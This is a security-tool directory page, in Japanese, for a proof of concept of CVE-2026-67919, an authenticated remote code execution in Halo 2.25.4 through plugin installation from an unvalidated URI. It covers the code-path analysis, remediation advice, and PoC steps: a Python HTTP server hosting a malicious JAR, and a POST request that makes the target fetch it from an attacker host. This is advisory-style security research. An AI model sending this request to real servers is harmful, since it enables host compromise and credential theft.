Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
halo-2.25.4-CVE-2026-67919 — Halo 2.25.4における、検証されていないプラグインURIインストールを介した認証済みリモートコード実行の脆弱性を実証します。技術的分析と概念実証エクスプロイトを含みます。 | Kitploit
ツール/GitHubGitHub/unpredictable21/halo-2.25.4-cve-2026-67919
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト
GitHubunpredictable21/halo-2.25.4-cve-2026-67919

halo-2.25.4-CVE-2026-67919

Halo 2.25.4における、検証されていないプラグインURIインストールを介した認証済みリモートコード実行の脆弱性を実証します。技術的分析と概念実証エクスプロイトを含みます。

リポジトリを見る
17日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Halo 2.25.4における未検証プラグインURIインストールを介した認証済みリモートコード実行(RCE)

1. 脆弱性の概要

Haloバージョン2.25.4において、重大なセキュリティ脆弱性が特定されました。このアプリケーションは、リモートURIからプラグインをインストールまたはアップグレードするための管理エンドポイントを提供しています。しかし、システムはURIの送信元ドメインを検証できず、この特定のコンポーネントにはServer-Side Request Forgery(SSRF)対策が欠如しています。プラグイン管理権限を持つ認証済み攻撃者は、悪意を持って作成されたプラグインJARファイルへのリンクを提供できます。サーバーはJARファイルをダウンロードし、一時的に保存し、PF4JフレームワークとSpringのDefaultPluginApplicationContextFactoryを使用してJVMコンテキストに動的にロードします。これにより、信頼されていない拡張クラスの実行が可能となり、基盤となるホストオペレーティングシステム上で任意のリモートコード実行(RCE)が発生します。

2. 脆弱性の詳細

  • 脆弱性の種類: コードインジェクション / リモートコード実行(RCE)
  • CWE ID: CWE-94: コード生成の制御が不適切('コードインジェクション') / CWE-434: 危険なタイプのファイルの無制限アップロード
  • 深刻度: 🔴 重大
  • 推定CVSS v3.1スコア: 9.8 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)
  • 影響を受けるバージョン: Halo 2.25.4(およびURIベースのプラグインインストールをサポートする以前のバージョン)
  • CVE ID: CVE-2026-67919

3. 影響を受けるコンポーネント

CVEフォームに提出する際はカンマで区切ってください:

Plaintext

root@kitploit:~
PluginEndpoint.java, installFromUri method, DefaultPluginApplicationContextFactory

4. 攻撃ベクトル

認証済み管理者は、悪意のあるリモートプラグインJAR URLを含む巧妙に細工されたHTTP POSTリクエストを/apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uriエンドポイントに送信できます。

5. 技術的分析と攻撃チェーン

リモートコード実行は以下の一連の操作を通じて発生します:

  1. エンドポイント取り込み: PluginEndpoint.installFromUri()メソッドは、受信したリクエストボディ(InstallFromUriRequest)を処理し、ユーザーが提供したuri文字列を抽出します。ドメインホワイトリストフィルタリングは適用されません。
  2. 保護されていないファイル取得: 抽出されたURIはDefaultReactiveUrlDataBufferFetcher.fetch(uri)に渡されます。Haloの他の内部ネットワーキングコンポーネントとは異なり、このフェッチャーはHttpSecurityUtils.secureHttpClient()を呼び出さず、内部プライベートネットワーク/ループバックIP制限(SSRF保護)をスキップします。
  3. ローカルファイルの永続化: リモートURIからダウンロードされたストリーミングコンテンツは、writeToTempFile(content)を介してホストサーバー上のローカル一時ディレクトリに書き込まれます。
  4. 動的クラスロード: アプリケーションは一時パスをpluginService.install(path)に渡し、PF4JのJarPluginLoaderを利用してJARファイルを解凍およびロードします。
  5. Spring Bean登録と実行: PF4Jがコンテキストのロードを完了すると、SpringのDefaultPluginApplicationContextFactoryがプラグインのplugin.yaml内のメタデータを自動的に解析し、宣言されたすべての拡張クラスをアクティブなSpring Beanとしてアプリケーションコンテキストに登録します。
  6. コード実行トリガー: 拡張クラスの静的初期化ブロック(static {})または@PostConstructで注釈されたメソッドブロック内に配置された悪意のあるコードは、Runtime.getRuntime().exec()を介してインスタンス作成中に即座に実行されます。

脆弱なソースコードセグメント(PluginEndpoint.java 422-428行目):

Java

root@kitploit:~
var content = request.bodyToMono(InstallFromUriRequest.class)
    .map(InstallFromUriRequest::uri)
    .flatMapMany(reactiveUrlDataBufferFetcher::fetch);  // 未検証のネットワークフェッチ
return Mono.usingWhen(writeToTempFile(content), pluginService::install, this::deleteFileIfExists);

6. 概念実証(PoC)

ステップ1: 悪意のあるアーティファクトのホスティング

攻撃者は、@PostConstructライフサイクルフックまたは静的ブロック内にペイロード実行メカニズムを含む拡張クラスを持つ標準的なPF4J/HaloプラグインJARファイル(poc-plugin.jar)をコンパイルします。攻撃者はそれを外部リスナーでホストします:

Bash

root@kitploit:~
python3 -m http.server 9999

ステップ2: 脆弱性のトリガー

認証済み管理ユーザーは、ターゲットのHaloサーバーに以下のHTTPリクエストを送信します:

HTTP

root@kitploit:~
POST /apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri HTTP/1.1
Host: <target-ip>:8090
Authorization: Bearer <ADMIN_TOKEN_HERE>
Content-Type: application/json

{
  "uri": "http://<attacker-ip>:9999/poc-plugin.jar"
}

ステップ3: 期待される結果

サーバーはインストールを処理し、攻撃者のサーバーからアーティファクトを取得し、拡張機能を登録し、コンパイルされたシステムコマンドを実行して、ターゲットホストを侵害します。

image
image

7. 影響

  • システム侵害: アプリケーションプロセスの権限下でのホスティングインフラストラクチャまたはDockerコンテナへの完全なアクセス。
  • データ窃取: バックエンドデータベース、機密性の高いアプリケーション認証情報、設定キー(application.yaml)、保存されたファイルへの直接的な露出。
  • ラテラルムーブメント: ダウンロードメカニズムが標準的なエグレスルールをバイパスしてループバックまたは内部インフラストラクチャエンドポイントにアクセスできるため、サーバーを内部サイトネットワークへの攻撃に pivot させることができます。

8. 修復に関する推奨事項

  1. 絶対的なドメインホワイトリストの適用: 受信するuri引数に厳格な検証ルールを適用します。リモートインストールスキーマを検証済みの信頼できる公式エコシステムマーケットプレイス(例:https://awesome.halo.run)に制限します。
  2. セキュアなフェッチャーの統合: DefaultReactiveUrlDataBufferFetcherをリファクタリングし、既存のHttpSecurityUtils.secureHttpClient()ユーティリティを利用して、ループバック(127.0.0.1)、リンクローカル(169.254.169.254)、またはプライベートクラスネットワーク(10.0.0.0/8、192.168.0.0/16)を指すリクエストを拒否します。
  3. 暗号化プラグイン検証: 外部JARモジュールのデジタル署名検証標準を実装します。JarPluginLoaderコンテキストは、コンテキストインスタンス化のためにDefaultPluginApplicationContextFactoryに渡す前に、公式リポジトリが提供する公開鍵に対してファイルハッシュまたは暗号署名を検証する必要があります。
ツールをダウンロード